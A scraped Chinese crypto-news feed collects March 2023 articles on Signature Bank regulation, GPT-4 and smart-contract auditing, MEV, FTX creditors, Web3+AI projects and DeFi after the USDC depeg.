我认为说银行不可能从事加密货币业务的说法是错误的。我们用了一种合理的方法，我们也没有依赖加密货币的价值，只是为其他客户的交易提供了便利。我一直都对加密货币总体上持怀疑态度。我认为需要对加密货币进行更严格的监管，但不是由银行来监管，应该由美国证券交易委员会（SEC）和美联储来监管。 国会提高了接受严格审查的金额，但我不认为会有“漏网之鱼”，他们仍然会受到监管。在法案生效前后，我都是 Signature 董事会的成员。我可以向你保证，监管力度没有减弱。事实上，是纽约州介入了，他们没有受到 2018 年法案的影响。他们在 2019 年拥有了 2013 年拥有的所有权力。 从我个人的角度来看，我在 2012 年得出的结论是 500 亿美元（银行符合多德-弗兰克法案所需的最低资产数额）太低，而且是武断的。所以我在 2013 年美联储在芝加哥举行的一次会议上发表了演讲，说了两件事。 我们必须保护小银行，让它们不受沃尔克法则的约束（即禁止银行利用参加联邦存款保险的存款，进行自营交易、投资对冲基金或者私募基金），我们确实做到了； 我们必须筹集 500 亿美元。其他人可能认为我现在才想这样做是为了帮助 Signature 摆脱目前困境。但在我听说 Signature 的两年前，我就公开宣布要筹集 500 亿美元了。 我认为监管一直都存在。人们可能希望监管机构采取更多行动。在特朗普执政期间，监管可能没有那么强硬。我确实认为，如果需要更严格的监管，他们有权这样做。他们在 2018 年的措施并没有削弱银行业监管机构的权力。他们取消了对中型银行“格外关注”的要求，但如果发现任何问题存在，他们仍然有权采取行动。除了提高 FDIC 的存款担保水平，没有人向我指出对银行监管进行更高要求的立法改革。 以前是 10 万美元。2008 年，为了应对金融危机，FDIC 暂时取消了对企业的补贴，因此当银行倒闭时，它们就不会撤资。事实上，如果你没有保险，你可以去最大的银行取款。这对摩根大通和美国银行有利，但对其他人都不利。 当我们制定法案时，我想延续以前的规定。我没有确切的数字，但我确实希望有现金的企业，包括有薪酬需求的企业，能够有足够的保障，这样他们就不必在恐慌期间提款，但我失败了。最大的银行及其政治影响力人士希望将保险限额保持在较低水平。担保越低，他们就越认为自己更具有竞争力。而我想要改变它。 我希望今后人们能理解我们的论点。我希望我的同事，包括前同事们，现在能开始立法。我注意到，即使是美参议员 Elizabeth Warren，虽然我与她有一些分歧，但我们都同意“改变保险限额”这一观点。我们不针对个人情况而言，我们谈论的是一家需要现金流来经营业务的企业。我认为至少在两个月内，这些深陷倒闭风波中的银行应该被允许获得担保，让他们有机会理性地处理目前的问题。  ( 5 min )
    数据：本月基金持有的比特币减少超1.6万枚，达到17个月低点
    PANews 3月16日消息，据CoinDesk报道，ByteTree Asset Management追踪的数据显示，本月欧洲、美国和加拿大的封闭式基金、以现货和期货为重点的交易所交易基金 (ETF) 持有的代币数量减少了16,560枚BTC（4.09亿美元），现为826,113枚BTC，达到17个月低点。 基金余额的下降表明缺乏机构参与比特币近期的上涨，据报道，这是受到避险需求和美联储下半年降息的新希望推动的。一些观察人士表示，比特币的上涨证明，作为对冲银行体系风险的工具，比特币的吸引力正在增强。  ( 4 min )
    深度思考：为什么说ChatGPT是网上所有文本的模糊图像？
    众所周知我是一个GPT爱好者，已经将其融入工作和生活的方方面面。 但GPT也不是万能的，我们需要认清其本质，才能更好使用其能力。强烈推荐特德·姜这篇极具洞察的文章《ChatGPT是网上所有文本的模糊图像》，独特见解发人深省。我总结了3个点，欢迎阅读。 特德·姜，华裔科幻作家，毕业于布朗大学计算机系，其短篇小说《你一生的故事》在2016年被改编成电影《降临》 技术和科幻的双重背景，让其对ChatGPT具有了独特见解。 TL;DR 如果将互联网上的所有文本看做是原件，考虑到处理速度和准确度，ChatGPT 实际上是这些文本的有损压缩后一个自然语言交互接口。既然是有损压缩，就会抛弃一些细节，甚至关键信息。 关于有损压缩可能会导致的问题，作者举了一个形象的例子：2013 年德国一家建筑公司复印了一张房子平面图，三个房间都有一个标签来说明其面积：14.13，21.11和17.42平方米。然后在复印件中，所有三个房间都被标记为14.13平方米。 经过调查发现，这台施乐复印机的工作原理是，先把文档扫描为数字图像，然后再进行打印。为了节省空间，扫描为数字图像时使用了一种被称为 jbig2 的有损压缩格式。复印机判断 3 个房间的面积标签非常相似，所以它只存储了其中一个，然后在打印时对所有 3 个房间都重复使用了这一个标签。 施乐复印机使用有损压缩格式而不是无损格式，这本身并不是一个问题 问题是如果只是打印出模糊的照片，每个人都会知道这不是原件的准确复制品，但复印机打印出了清晰但不准确的图片，可能会对使用者产生误导 作者认为，在我们使用 OpenAI 的 ChatGPT 和其他类似大语言模型时，需要对这个例子铭记于心。ChatGPT 保留了万维网上的大部分信息，就像 JPEG 保留了高分辨率图像的大部分信息一样。但是，如果你要寻找精确的比特序列，你无法找到它，你得到的只是一个近似值。 可以看到，在 OpenAI 论文的最新真实性评估中，虽然 GPT-4 比过往模型高很多，但仍然有不低的概率生成错误答案（特别是在科技、代码和商业领域），我们需要小心。 2、警惕「美丽的模糊」 我们对世界的认知，本质上也是对信息的接收和压缩。我们识别和抛弃不重要的信息，留下重要的信息，同时在这个过程中锻炼和使用了决策能力。都是对信息的有损压缩，我们和ChatGPT有何不同？ - 我们对信息的压缩，是建立在对事实的理解上，最后留下的是「模糊的正确」 - ChatGPT 并没有真正的「理解」信息，建立在统计规律上输出「美丽的模糊」。 再看 2 个形象的例子： 对文本的任何分析都会揭示，“供应不足”这样的短语经常出现在“价格上涨”这样的短语附近 当被问及有关供应不足的问题时， AI可能会给出包含价格上涨的回答。如果AI已经编译了大量经济术语之间的相关性，多到可以对各种各样的问题提供合理的回答，我们是否应该说它实理解了经济理论？显然没有。 ChatGPT 擅长产生美丽的答案，但美丽≠正确。我们必须时刻铭记这一点，ChatGPT 输出的结果可能会漂亮清晰但不准确，要识别它们就需要将它们与原件进行比较，否则就有可能基于瞎编的内容进行错误的决策。下面 bing 产生的这个答案，就是典型的「美丽的模糊」。 3、「原创想法的拙劣表达」好于「清晰表达的非原创想法」 有一种观点，让 ChatGPT 生成的文本作为作家在创作原创作品时的起点，让作者把注意力集中在真正有创意的部分，这样可行吗？ 作者认为，以一份模糊的非原创作品作为起点，并不是创作原创作品的好办法。 如果你是一个作家，在你写原创作品之前，你会写很多非原创的作品。花在非原创工作上的时间和精力不会被浪费。相反，正是它让你最终能够创作出原创的作品 花在选择正确的词汇和重新排列句子上的时间，教会了你如何通过文章传达想要表达的意思。 让学生写论文不仅仅是一种测试他们对材料掌握程度的方法，这给了他们表达自己想法的经验。如果学生从来不用写我们都读过的文章，他们就永远不会获得写我们从未读过的东西所需的技能。 那是不是脱离学生身份后，就可以安全地使用 ChatGPT 等大语言模型提供的模板了呢？ 然而并不是。想要表达自己想法的挣扎并不会在你毕业后消失。每当你开始起草一篇新文章时，这种挣扎就会出现。有时候，只有在写作的过程中，你才能发现自己最初的想法，这点非常关键。 有些人可能会说，大语言模型的输出看起来与人类作家的初稿没有太大不同，但这只是表面上的相似 你的初稿不是「清晰表达的非原创想法」；它是「原创想法的拙劣表达」，它伴随着你无定形的不满，你意识到它所说的和你想说的之间的距离。 这是在重写时能够指导你的东西，这是当你开始使用人工智能生成的文本时所缺乏的东西。基于「清晰表达的非原创想法」，会很容易让人失去想法；而从「原创想法的拙劣表达」开始，逐步打磨，最终会收获「原创想法的精确表达」，原创可能会成为玉石，非原创只会流于泛滥。 总结 2 点Take Away： ChatGPT是网上所有文本的有损压缩，我们必须时刻铭记这一点，警惕把「美丽的模糊」当做准确信息，影响判断和决策 2. 在挣扎和拙劣表达中发现「原创想法」，同时提升自己的表达能力，将其打磨成玉石 训练想象力、决策和沟通能力，打造机器无法拥有的竞争力  ( 4 min )
    Doodles创始人：Doodles将从NFT项目发展成媒体特许经营公司
    PANews 3月16日消息，NFT系列Doodles创始人Jordan Castro在官方Discord宣布，Doodles将从一个“NFT项目”发展成一家领先的媒体特许经营公司。 Castro 表示：“在刺激投机的公开建设上投入得越多，就越不能实现其长期愿景。不会花任何资源去安抚那些有经济动机的人，将把精力集中在忠实持有人身上。”  ( 4 min )
    GPT-4能让智能合约漏洞无所遁形吗？
    原文：《OpenAI推出“王炸”产品GPT-4，能不能完整检测智能合约漏洞？》 北京时间3月15日凌晨，人工智能初创公司OpenAI正式公布最新一代人工智能语言模型GPT-4。 OpenAI在当天的声明中称，GPT-4的诞生，是OpenAI在放大深度学习方面的最新里程碑。 那现在进化后的GPT-4 ，又会带给我们哪些惊喜？ 进化后的GPT-4，到底有多“炸”？ 根据OpenAI官方的介绍，GPT-4是一个超大的多模态模型，也就是说，它的输入可以是文字（上限2.5万字），还可以是图像。 其AI能力的恐怖之处体现在哪呢？比如下面这张照片。 你问它下图中手套掉下去会怎样？ 它会回答：它会掉到木板上，并且球会被弹飞。（这逻辑能力，你能想象吗） 甚至只需要简单在纸上画一个网站的草稿图，他就可以识别该网站。 拍一张照片上传给GPT-4，它就可以立马生成网站的HTML代码！ 可见，GPT-4比GPT-3.5，更可靠、更有创造力，能够处理更细微的指令。 除此之外，ChatGPT-4在内容准确性以及逻辑能力相比上一代也要提升不少，在统一律师考试（Uniform Bar Exam）中，GPT-4成绩超过90%其它人，而GPT-3.5的成绩只超过10%的人，GPP-4在SAT Math获得700分，GPT-3.5的成绩为590分，提升了110分。在其它标准化考试中，GPT-4的成绩也都比GPT-3.5优秀不少。 在官方演示中，GPT-4几乎就只花了1-2秒的时间，识别了手绘网站图片，并根据要求实时生成了网页代码制作出了几乎与手绘版一样的网站。 除了普通图片，GPT-4还能处理更复杂的图像信息，包括表格、考试题目截图、论文截图、漫画等，例如根据专业论文直接给出论文摘要和要点。 这么强，是不是你也感觉快要失业了。 GPT-4可对论文进行解读 来源：OpenAI官网 用ChatGPT4审计智能合约会发生什么？ 我们曾在去年12月发了一篇ChatGPT的研究文章，看看它审计智能合约会发生什么，扩展阅读：风靡全网的“最强AI” ChatGPT，能不能检测智能合约漏洞？ 3月15日，Coinbase主管Conor Grogan在社交媒体发文称，他已在ChatGPT-4中插入了一个实时以太坊智能合约，结果AI瞬间就找到了安全漏洞，甚至还展示了如何利用这些漏洞进行攻击。 Conor Grogan表示，该合约的确在2018年被黑客利用漏洞攻击，此外他还透露也尝试了Euler的智能合约，但由于合约过长而无法被chatGPT-4处理，Conor Grogan坦言AI最终将是智能合约更安全、更容易构建。 也有群友说，ChatGPT似乎可以审计前两天Euler Finance约2亿美元被盗案的漏洞。相关事件阅读：复盘Euler Finance 2亿美元被盗案的来龙去脉，本次事件带给我们哪些启示？ 但是，真的有这么简单吗？ 其实与早期的GPT模型一样，GPT-4仍然存在一定的局限性。 OpenAI官方称，它并不完全可靠，可能会出现推理错误 ，“GPT-4缺乏对绝大多数数据切断后（2021年9月）发生的事件的了解，并且无法从中吸取经验教训……它有时会出现简单的推理错误，它会轻信用户明显的虚假陈述，有时它会像人类一样在难题上失败，例如在它生成的代码中引入安全漏洞。” 基于此，OpenAI提醒，用户在使用语言模型时应格外小心，最好辅助以人工审查、附加上下文、或完全避免在高风险情况下使用它。  ( 4 min )
    美国法官拒绝暂停Binance.US收购Voyager资产，交易已延长至3月20日
    PANews 3月16日消息，据CoinDesk报道，美国纽约南区法官Damian Williams在周三提交给法院的文件中裁定，Binance.US出价10亿美元收购Voyager的资产的交易应该继续进行，这驳回了美国政府暂停诉讼等待上诉的请求。 美国检察官Damian Williams辩称，该交易应该被修改或取消，因为它试图有效地免除Voyager及其员工违反税法或证券法的责任。但Williams表示，他之前批准的交易并没有做到这一点，等待更长时间会损害Voyager客户的利益，他们自2022年7月宣布破产以来一直无法使用他们的加密货币。Williams写道，政府文件“夸大并在某些地方错误描述了我的所作所为和我所依赖的权威。”。 根据Voyager和Binance.US达成的另一项协议，原定于3月15日生效的Binance.US购买计划已被延长至3月20日。  ( 4 min )
    百度正式发布大语言模型“文心一言”
    PANews 3月16日消息，今日下午百度举行了发布会，正式公布大语言模型“文心一言”，这是一款基于人工智能技术的智能对话系统，可进行语义理解、智能问答和情感交流等多种形式的对话。3月16日起，首批用户即可通过邀请测试码在文心一言官网体验产品，后续将陆续开放给更多用户。 此外，百度智能云即将面向企业客户开放文心一言API接口调用服务。3月16日起正式开放预约，搜索“百度智能云”进入官网，可申请加入文心一言云服务测试。  ( 4 min )
    韩国检方将扩大国际合作，以协助逮捕和引渡Do Kwon
    PANews 3月16日消息，据Forkast报道，韩国检方将扩大与海外法律机构和同行的合作，以协助逮捕和引渡韩国国民Do Kwon。据悉，Do Kwon在韩国面临与现已崩溃的Terra-Luna稳定币相关的欺诈指控，该项目由他位于新加坡的Terraform Labs开发。 此前消息，据朝鲜日报报道，韩国检方对Terra创始人Do Kwon等发出逮捕令，并认为其违反资本市场法。  ( 4 min )
    解读以太坊MEV产业链：现状、问题及改进方法
    原文：《A&T View: 以太坊MEV提取机制的现状、问题与改进》 作者：Liam TL; DR * 什么是MEV？MEV在不同语境下所指的内涵并不完全相同，为避免混淆，本文选择一个相对狭义但最精准的定义： MEV（Maximal Extractable Value，最大可提取价值）是指通过按照某特定顺序执行N笔交易，为设计这套顺序的主体带来的经济利益。 MEV有哪些利益相关者？以太坊合并后，MEV的提取与分配由Flashbots提出的MEV-Boost体系所主导。根据mevboost.pics的统计，自2022年11月以来，约90%的区块都产自MEV-Boost体系。 在现行体系下，以太坊主网上MEV的利益相关者包括用户、钱包及RPC、MEV搜寻者（Searcher）、区块建设者（Block Builder）和区块提议者（Block Proposer\Validator）。在MEV价值链中，可以拆解为起源和上中下游四个部分： 起源：创造MEV机会，为MEV提取提供可编辑空间 上游：完成签名，然后将交易从本地广播至网络中 中游：在公开或隐私环境中拍卖MEV机会、确定MEV利润分配方式 下游：提议新区块，使用户的交易和提取MEV交易被网络共识，获得最终性，实现MEV利润分配   二、MEV如何被分配？ MEV-Boost体系下，MEV流向了四类主体，MEV搜寻者、区块建设者、区块提议者和以太坊网络本身。 MEV直接被MEV搜寻者捕获，并以Gas Fee形式流向了区块建设者、区块提议者和以太坊网络本身。 提取MEV的交易被执行为创建这些交易的MEV搜寻者带来了收入，这些收入的成本是MEV搜寻者支付的Gas Fee；Gas Fee的一部分根据EIP-1559协议而被燃烧，另外一部分以Tip形式流向了区块建设者；区块建设者将大部分的Tip以MEV Rewards的形式直接转账给了区块提议者（多数情况下区块建设者会保留一部分Tip，但也有额外补贴区块提议者的情况）。 MEV=特定顺序的交易被执行而产生的收益 MEV=MEV搜寻者利润+区块建设者利润+区块提议者利润+以太坊网络所捕获的价值 MEV=（Bundles收入-Gas成本）+（Tip-付给区块提议者的费用）+（付给区块提议者的费用）+（EIP-1559燃烧掉的ETH） 对于MEV搜寻者，MEV利润反映为“MEV搜寻者提交的交易包（Bundles）被执行而产生的收入减去交易包的Gas成本“。 对于区块建设者，MEV利润反映为”区块建设者提交的区块中的执行层收入减去支付给区块提议者的费用“。 对于区块提议者，MEV利润反映为“来自区块建设者支付的费用”。 对于以太坊网络，MEV利润反映为“依据EIP-1559被燃烧掉的ETH”。 从MEV的策略类型来看，可以分为“跟跑”策略（Back-running）和“抢跑”策略（Front-running）； 从MEV为整个系统带来的后果看，可以分为有益的、中性的和有害的三类： 实操中，提取MEV利润的策略层出不穷，针对不同性质的MEV，我们只举一种最常见的例子。 这是一种基于“跟跑”策略提取MEV的交易。“跟跑”策略需要紧跟着某笔交易才能够实现。例如，在超额抵押借贷协议中，当预言机喂价的变动使得某借款人的帐户达到可被清算的状态时，紧跟着预言机喂价变动后发起清算是有利可图的。 及时的清算能够降低坏账发生的概率，有利于维持整个借贷协议的稳定性，所以这类提取MEV的交易被认为是有益的。尽管本质上的利润来源是借款人的损失，但也是对借款人未能及时清偿债务的惩罚，且借款人在借出资金时也明确了这一潜在风险。 也是基于“跟跑”策略提取MEV的交易。当用户在DEX中完成一笔交易后，由于滑点的存在，可能使得不同DEX中相同Token出现价差。MEV搜寻者可以通过一笔套利交易，在价格低的DEX买入，价格高的DEX卖出从而获利。 这是一种基于“抢跑”策略提取MEV的交易。当MEV搜寻者监听到用户在DEX的交易还未被打包确认时，抢在用户交易前插入一笔交易，使得用户的滑点变高、执行价格变差，挤在用户交易后插入另外一笔方向相反的交易，从用户的额外滑点损失中获利。 尽管三明治攻击本身也是套利交易，但它的利润来源是普通用户的损失，是在损害其他用户的前提下获得利润，被认为是有害的。 大多数基于“跟跑”策略所产生的MEV被认为是有益的或中性的，因为这些交易不会对在其之前的任何交易产生影响，不会损害其他用户的合理利益，并且有部分策略对DeFi系统的稳定性也是有益的；而大多数基于“抢跑”策略所产生的MEV被认为是有害的，因为这些交易的收益往往建立在将其他用户置于不利境地的基础上。 涉及到交易排序就会有提取MEV的机会，MEV几乎是无法避免的。这样的背景下，MEV赛道下的项目致力于解决两个问题： 1. 如何预防有害的MEV？ 2. 如何公平地分配有益的和中性的MEV？ 现行解决方案的做法是： 关于“预防”问题： 关于“分配”问题： 遗留的问题是：   五、改进的方向何在？ 要解决“抢跑”问题，应该借助加密技术。基于“加密-排序-解密-执行”，将用户的交易在本地加密，在不被任何人读取交易内容的情况下完成排序共识，再解密内容，最后按已共识的排序执行交易。这种方案既破除了信任假设，也不再需要私有订单流。 实现更公平的分配，应该返还用户应得的MEV利润。用户作为创造MEV提取机会的角色，保障他们的合理利益不被侵犯只是最基本的，不应该只保障他们的交易不被抢跑，也应该将一部分MEV利润返还。  ( 4 min )
    推特用户：国际FTX债权人的数量约为140万人
    PANews 3月16日消息，自称是FTX债权人的推特用户@AFTXcreditor在推特上表示：“FTX Trading于昨日发布债权人表单，超过2000页的PDF文件中包含了每个客户的ID和最终帐户余额。基于这些文件，估计国际FTX债权人的数量约为140万人。这是债权人，而不是客户。客户为970万人。据我所知，这使得FTX成为历史上债权人数量最多的破产案。”需要注意的是，文件中的客户ID并不是用户ID（UID），因此想要查询的话只能通过账户余额核对。 今日早些时候消息，FTX及其附属债务人向破产法院提交的财务报表显示，Alameda Research向FTX创始人及高管转账和贷款高达32亿美元。  ( 4 min )
    GPT4横空出世，Web3如虎添翼？
    最近互联网上讨论最为热切的话题，无异于OpenAI发布了GPT4版本，以及GPT4版本有多么强大，甚至被认为会颠覆当前传统语境下的工作业态，并会给Web3世界带来不可估量的增长空间。截至目前，据Coingecko数据，目前整个AI板块已经收录31个相关项目，整个市场总市值高达1,858,975,208美元。（推荐阅读：《OpenAI推出GPT-4，一分钟速览新特性》） 关于GPT出现的意义，以及以GPT为代表的AI生态与Web3的结合，veDAO研究院同样持有乐观态度，并结合当前行业发展现状，为大家说明Web3+AI的发展优势以及相关的新兴Alpha项目，以供大家对该赛道有更加清晰的了解。 在我们还沉浸在ChatGPT的魅力之中无法自拔的同时，3月15日凌晨，OpenAI发布了多模态预训练大模型GPT-4。 相较于此前的GPT3.5版本，GPT-4实现了以下几个方面的飞跃式提升：强大的识图能力；文字输入限制提升至 2.5 万字；回答准确性显著提高；能够生成歌词、创意文本，实现风格变化。 可能这么说有点抽象，总的来说，目前尚处于申请阶段的GPT4，能够实现以下功能： 链接：https://twitter.com/skirano 链接：https://twitter.com/ammaar 链接：https://twitter.com/jconorgrogan 接入 Web3 游戏，用于 NPC 对话系统等 除上述的诸多优势以外，veDAO研究院认为，GPT4带来的最大的迭代，在于其能识别图片以及模拟感情和语气。相较于ChatGPT只能通过向其输入文字提问才能生成文字回答。GPT4能够与用户输入的图片进行交互，在演示案例中，GPT4就详细描述了布罗克曼发给它的电脑网页截图，甚至精确描述了该截图的中心、左侧和右侧分别是什么内容。 更重要的是，GPT4允许用户选择GPT4扮演的角色。在GPT4此次展示的AI聊天界面左侧有一个“系统”选项，用户可以在此指定GPT4的背景设定，给你的GPT4赋予“程序员”、“顾问”等身份。有趣的是，不同身份的设定，也会让你的GPT4回答的侧重点有所不同。 我们有理由相信，预计今年年底上线的GPT5，将会给用户带来更为丰富的“模拟感情色彩”，就好像钢铁侠里的“贾维斯”一样，或者变成用户更为亲密的伙伴。长远来看，这将为AI概念赋予更多的社会意义。 之所以我们重点强调GPT4的图片识别能力和情感模拟能力。是因为veDAO研究院认为，「能够接受更为丰富的信息输入，并给出更为丰富的信息输出方式」从长远来看，正是“元宇宙”概念追求的必备要素。当前的元宇宙概念，正是因为虚拟世界太过简陋，且难以理解真实用户复杂的信息理解能力，使得元宇宙概念一直火热，却从未落地。而AI的引入，意味着虚拟世界对现实世界的用户的吸引力和情感粘性急速增加，当有足够多的用户对元宇宙、虚拟世界形成路径依赖，基于虚拟世界行使铸币权（Crypto）才有了现实的意义。 因此，我们可以做一个假设：AI的成熟→元宇宙概念成立→Crypto概念得到现实层面的广泛认可。以上是基于GPT4衍生出来的长远意义。而基于当下，AI概念的成熟，会为Web3世界带来极大的增益。目前，AI在Web3的典型应用方向DeFi、链游、NFT、DAO、智能合约中均有结合点，更进一步说，人工智能和区块链的结合的确可以带来更安全、透明和高效的系统，具有相当的发展前景。 而在上述的诸多结合点中，基于元宇宙长远意义这一逻辑的倒推，目前来看，AI在链游、NFT赛道可能最早结果。因此，veDAO研究院罗列了当前行业较有代表性的“Web3+AI”的链游Alpha项目来供大家参考。 官网：https://twitter.com/jconorgrogan 推特：https://twitter.com/real_alethea Alethea AI是一家人工智能公司，致力于推动智能技术的发展和应用，为企业和客户提供先进的智能解决方案。该公司的产品和服务涵盖了机器学习、自然语言处理、图像处理和大数据分析等领域，可以帮助用户实现自动化、智能化和高效化的运营管理。Alethea AI还在不断推出新的技术和产品，为人工智能技术领域的创新和发展做出积极的贡献。 Alethea AI是iNFT标准（可交互NFT）的发起者，在AI动画、交互和生成AI能力嵌入NFT的应用领域中处于行业前沿。开发人员可以使用iNFT协议在一个被称为 “诺亚方舟” 的智能元宇宙中创建、训练iNFT并赚取收益。 官网：https://girogiro.ai/ 推特：https://twitter.com/GiroGiroAI GiroGiro.AI是一个基于AI搭建的Web3游戏服务提供商，其目的旨在通过AI技术来提高Gamefi的多功能性和交互性。通过赋予链上资产（元宇宙中的NPC、蓝筹NFT、Gamefi中的角色等）具有客户操作和交互的AIGC（人工智能生成内容）能力，让上述资产能够基于AI生成更多维的内容从而提高玩家的身临其境的感觉。GiroGiro.AI认为，将AI引入Gamefi中，能够带来更丰富的故事情节、更个性化的内容以及更低的花费，并为NFT带来内容记忆的能力，并通过余弦评估用户属性来提供逻辑和上下文的对话体验。 官网：https://www.delysium.com/ 推特：https://twitter.com/The_Delysium Delysium 是一款基于AI技术的3A级别的开放世界MMO Web3游戏，类似于赛博朋克版的大逃杀吃鸡游戏。相对于市场上目前主要的回合制策略游戏或集换式卡牌游戏，Delysium更强调多元化的开放世界MMORPG体验，包括AI驱动的AI MetaBeing玩法推动Web3游戏产业进入下一个阶段。AI Metabeings和人处理日常事务一样可以分为两个部分，一部分是对话，另一部分是决策。 对话部分，主要是由会话、行为和自然语言处理 (NLP) 模块组成。其次是决策部分，其技术本质和AlphaGo的深度强化学习技术同源，不需要任何的脚本和行为树，便可以让游戏里所有NPC拥有自己的大脑。 随着用户给这些AI Metabeings输入一定的settings，进而让他们生成一定的智能意识，形成独特的行为和个性。根据玩家选择，游戏将动态且个性化地生成剧情，NPC据此作出实时反应，真正实现NPC“千人千面”的效果。 官网：https://plailabs.com/ 推特：https://twitter.com/PlaiLabs Plai Labs的定位是Web3和AI社交平台。两位创始人Chris DeWolfe与Aber Whitcomb曾是社交媒体平台MySpace和游戏工作室Jam City的创始人，都是连续创业者，他们计划通过AI和web3来构建下一代社交平台，供用户一起玩耍、交流、战斗、交易和冒险。而Champions Ascension是由Plai Labs推出首款多人在线角色扮演游戏，游戏以马西纳的传说为蓝本，让玩家带着他们的宠物在元宇宙漫游参与活动，此外Plai Labs还在构建一个AI协议平台，该平台将帮助处理从用户生成内容（UGC）到匹配到2D到3D资产渲染的所有内容。 官网：https://www.botto.com/ 推特：https://twitter.com/bottoproject Botto是一个通过DAO治理的生成艺术社区。Botto引擎使用了Stable Diffusion、VQGAN + CLIP、GPT-3等多种模型，根据文本生成艺术图像，每周，会根据社区不同艺术倾向、审美风格等要素，预选出350张图像呈现给社区进行投票，将最受欢迎的图像铸造为NFT，并最终在SuperRare上进行拍卖，以此获得收入并对Botto引擎进行训练。目前，参与社区的治理需要一定的Token或者Pass卡。从本质上来看，Botto是AI生成艺术NFT与DAO治理的结合体，杂糅了AI的概念，也融合了NFT、DAO和代币经济学等方面的内容，能否维持社区长久且稳定运营也其考验着治理者的智慧。 官网：https://www.sortium.com/ 推特：https://twitter.com/Sortium Sortium是一家结合了AI和Web3的娱乐科技公司。Sortium专注于技术框架的构建，以帮助客户了解生成式AI系统、区块链和动态经济系统等，并在实现应用场景的使用，Sortium推出了名为CosmoGene的P2E游戏，CosmoGene游戏中，通过AI支持的虚拟DNA，玩家可以根据基因创造独特的体验。 Web3与AI的结合有着非常巨大的想象空间，一方面，AI可以通过优化计算和流程、减少矿工的负载和改善延迟来提高区块链的效率。另一方面，区块链也能为AI的决策过程留痕。因此，随着两种新兴技术在未来愈发的深度结合，其爆发出来的潜能不可估量。在基于当下，及时抓住一些不错的Web3+AI概念的Alpha，则是一个不错的投资选择。 参考资料： 1.盘点「AI+Web3」概念最新融资项目 链接：https://www.theblockbeats.info/news/34916 2.Delysium：一个 AI 驱动的赛博朋克吃鸡游戏 链接：https://foresightnews.pro/article/detail/19470  ( 5 min )
    USDC脱锚影响后，重新思考DeFi的两种路径
    原标题：The USDC Depeg Implications on DeFi: Two Paths Forward 作者：Ignas | DeFi Research 编译：Felix USDC脱锚引发了对DeFi未来的重大担忧和质疑。由于DeFi生态系统严重依赖USDC，因此评估未来的潜在解决方案至关重要。 对于DeFi，有两条路径：重塑品牌为“链上金融”或拥抱完全去中心化。 DeFi依赖于稳定币、预言机和Web2基础设施等中心化组件，这使其容易受到潜在的政府打击。 USDC本身被认为是最安全的抵押品，以至于Compound v2将USDC强行锚定为1美元。 现在我们意识到，对USDC的信任最终取决于对TradFi银行系统和政府的信任。如果政府真的想关闭（大部分）DeFi，他们是能够做到的。 目前，DeFi在每一层都意味着去中心化和去信任化，因此，即使是一个中心化的组件也会危及整个协议。通过将DeFi重新命名为链上金融，该行业可以在承认其中心化方面的同时保持自我托管、增加流动性、可组合性和单一的真实来源（不可逆交易）等关键优势。 像FRAX这样的例子表明，项目可以在不完全接受去中心化的情况下转向链上金融。 Frax的目标是其申请的美联储主账户（Fed Master Account）尽可能接近美联储，从而消除USDC和银行倒闭的风险，使FRAX成为最接近无风险的美元。 即使有一些中心化的组件，像FRAX这样的项目仍然可以从DeFi基础设施中受益。 这是因为DeFi生态系统可以成为最大程度免信任的环境，从而最大限度地减少人为干预的需要。 以Uniswap为例：它的代码被设计成不可变的，这使得像FRAX这样的资产可以在不受任何审查的情况下在链上交易。 但需要注意的是，Uniswap的前端用户界面仍然是中心化的，因此容易受到监管压力的影响。 这凸显了DeFi项目必须在提供去中心化的好处和驾驭监管合规的复杂性之间取得微妙的平衡。 因此，DeFi的所有元素和协议可能永远不会完全去中心化或抗审查，因此将USDC等代币视为风险资产并将DeFi视为链上金融有助于解决这种混乱和道德困境。 第二种路径是让DeFi社区去掉中心化元素，变得像比特币一样完全去中心化。 这将涉及用比特币(BTC)或以太坊(ETH)等抗审查抵押品取代USDC。稳定币协议Liquity的LUSD、Maker的DAI和Tornado Cash等项目就是这个方向的例证。 LUSD 稳定币协议Liquity的LUSD是一个用更去中心化方法的典型例子。 在USDC崩盘期间，LUSD证明了其作为避险资产的价值，在市场动荡中提供了稳定性。这就像当前TradFi系统中的瑞士法郎。 然而，重要的是要认识到，即使是更具去中心化属性的LUSD，也依赖于可以在极端情况下被操纵的价格预言机。 资料来源：Blec ReportBlec 报告 这凸显了DeFi项目在寻求完全去中心化同时，确保用户的安全性和可靠性方面面临的持续挑战和复杂性。 DAI MakerDAO对DAI的愿景是将其打造为一种完全去中心化且公正的全球货币。 为实现这一目标，Maker打算逐步停止使用最终形式的USDC等易于扣押的抵押品，以确保货币的基础更具弹性和安全性。如果需要，这需要放弃与美元挂钩。 DeFi生态系统最近对USDC的严重依赖敲响了警钟，促使MakerDAO加快实现这一使命的努力。 Tornado Cash Tornado Cash证明了实现完全去中心化是可能的，尽管成本很高。 作为一种成功的隐私工具，Tornado Cash混淆了发送者和接收者的交易数据，并拥有2.47亿美元的TVL(总锁仓价值)。 不幸的是，这种程度的去中心化让项目的开发者付出了高昂的代价，他们最终也因洗钱指控而面临牢狱之灾。 去中心化的高成本 Tornado Cash案例对DeFi生态系统提出了关键问题： 虽然并非每个DeFi dApp都被监管机构视为威胁，但监管干预的可能性仍然是该行业一直存在的担忧。事实上，最近对稳定币的打击正在推动DeFi走向去中心化。 随着DeFi领域的不断发展，在去中心化和合规性之间取得平衡对于这些项目的长期成功和可持续性至关重要。 DAO 中的 D 想象一下，如果美国政府要求将DAI列入黑名单。 去中心化自治组织(DAO)，如Curve，允许无需许可的工厂池创建，将如何响应这样的要求？Aave呢？ 面对这样的困境，Curve DAO是选择在智能合约层面封杀DAI，还是冒着自己被列入黑名单的风险？ 在完全去中心化的错综复杂的环境中行事并非易事，因为项目必须仔细平衡其对去中心化的承诺，与应对潜在监管挑战和维持可持续生态系统的需要。 实际上，整个DeFi生态系统还有第三条路径。 DeFi有可能同时向两个方向发展，就像今天的互联网一样。虽然大多数用户通过受监管的服务访问互联网，但寻求隐私的个人可以使用暗网来提高匿名性。 DeFi协议可能同样存在不同程度的去中心化和监管合规性。 例如，Uniswap 界面可能会受到审查，阻止对特定代币的访问，但社区可以自由创建自己的UI，因为代码是不可变且非歧视性的。 最近的USDC崩盘事件充分表明，DeFi并不像我们曾经想象的那样去中心化。但“DeFi”这个词已经根深蒂固，不太可能轻易被取代。 尽管如此，DAO必须停止延续完全去中心化的幻想，并开始承认现实情况。从本质上讲，虽然我们继续使用“DeFi”一词，但我们应该注意它更准确地代表了链上金融的概念，它结合了去中心化和中心化的元素。 从这些方面理解， DeFi社区可以努力建立一个更具弹性和透明的生态系统。  ( 4 min )
